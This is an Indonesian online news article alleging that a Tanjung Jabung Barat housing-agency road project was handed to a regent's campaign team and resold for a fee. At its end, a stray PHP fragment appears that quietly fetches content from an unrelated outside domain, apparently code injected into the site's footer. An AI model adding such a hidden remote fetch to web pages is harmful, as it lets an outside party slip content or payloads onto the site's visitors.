Diduga Jual Beli Paket Proyek di Dinas Perkim Tanjab Barat, Belum Tersentuh Hukum

Jumat, 24 Desember 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Tanjab Barat l Jejakkasus.info – Berdasarkan temuan awak media Jejakkasus.info serta telah dirilis dan diangkat di media Jejakkasus.info, tentang adanya nyanyian sumbang yang terjadi di kalangan Tim Sukses UAS.

Video

Tentang Pembagian paket proyek kepada Tim Pemenangan Pemilihan Bupati Tanjung Jabung (Tanjab) Barat.

Media Jejakkasus.info, Jumat (24/12/2021) menelisik lebih dalam dan berhasil mewawancarai salah satu penerima paket hadiah dari UAS atas terpilihnya UAS menjadi Bupati Tanjab Barat.

Adanya pemberian paket kepada salah satu tim sukses pemenang pemilihan Bupati Tanjung Jabung Barat, menjadi peluang korupsi bagi oknum di Dinas Perumahan Rakyat dan Kawasan Pemukiman (Perkim) paket senilai Rp150.000.000. (seratus lima puluh juta rupiah) untuk pembangunan jalan setapak rabat beton di Srindit, Desa Tungkal Harapan, RT 10, Kabupaten Tanjung Jabung Barat, Jambi.

Baca Juga:  Wabup Tanjab Barat Hadiri Apel Gelar Pasukan Operasi Zebra 2022

Peristiwa ini terjadi berawal dari diberikannya satu paket proyek tersebut, kepada salah satu tim pemenangan pemilihan Bupati Tanjung Jabung Barat, dari Dinas Perkim.

Tim penerima paket tersebut, langsung mendatangi lokasi proyek yang akan dibangun.

Setelah sampai di lokasi tim tersebut, mengeluh dan kecewa, dikarenakan posisi proyek yang diberikan oleh Dinas Perkim, yang akan dibangun itu sulit dari jangkauan transportasi.

Baca Juga:  Terpilih Secara Aklamasi, Ahmad Ruzain Nahkodai Garda Bangsa Tanjab Barat

Apa lagi untuk memasukkan barang-barang matrial bangunan.

Hari berikutnya tim kembali ke Dinas Perkim.

Mereka mengatakan, bahwa mereka tidak sanggup untuk mengerjakan proyek Jalan setapak rabat beton yang berlokasi di Srindit itu.

Hal ini disampaikannya kepada salah satu oknum pegawai Perkim yang sering dipanggil dengan nama Bang “JN”.

Dari laporan tim tersebut, oknum Pegawai Dinas Perkim mengarahkan kepada tim agar proyek paket senilai Rp150 juta tersebut dijual saja.

Dan pihak tim menyetujui hal tersebut, sehingga terjadilah transaksi tawar menawar antara pihak tim dengan pengusaha yang dicarikan oleh oknum dinas terkait, dari 15% hingga sampai 5%.

Baca Juga:  H Hairan Wabup Tanjabbar hadiri Sosialisasi Perizinan Air Tanah Berbasis OSS-RBA

Maka dari transaksi tersebut pihak tim menerima fee Rp10.000.000. (sepuluh juta rupiah) dari nilai Pagu Anggaran sebesar Rp150.000.000. (seratus lima puluh juta rupiah).

Ironis sekali hal ini bisa terjadi, uang negara telah disalah gunakan, bukan tidak mungkin hal yang serupa dapat terjadi dengan paket-paket yang lainya.

Pemberitaan tentang adanya dugaan perbuatan yang melanggar hukum ini, telah dirilis oleh media Jejakkasus.info bulan lalu,

Diharapkan aparat penegak hukum segera menyikapi dan menindaklanjuti pemberitaan ini. (Deddy)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai
Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers
Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat

Berita Terkait

Selasa, 8 Oktober 2024 - 14:59 WIB

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai

Minggu, 6 Oktober 2024 - 16:59 WIB

Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>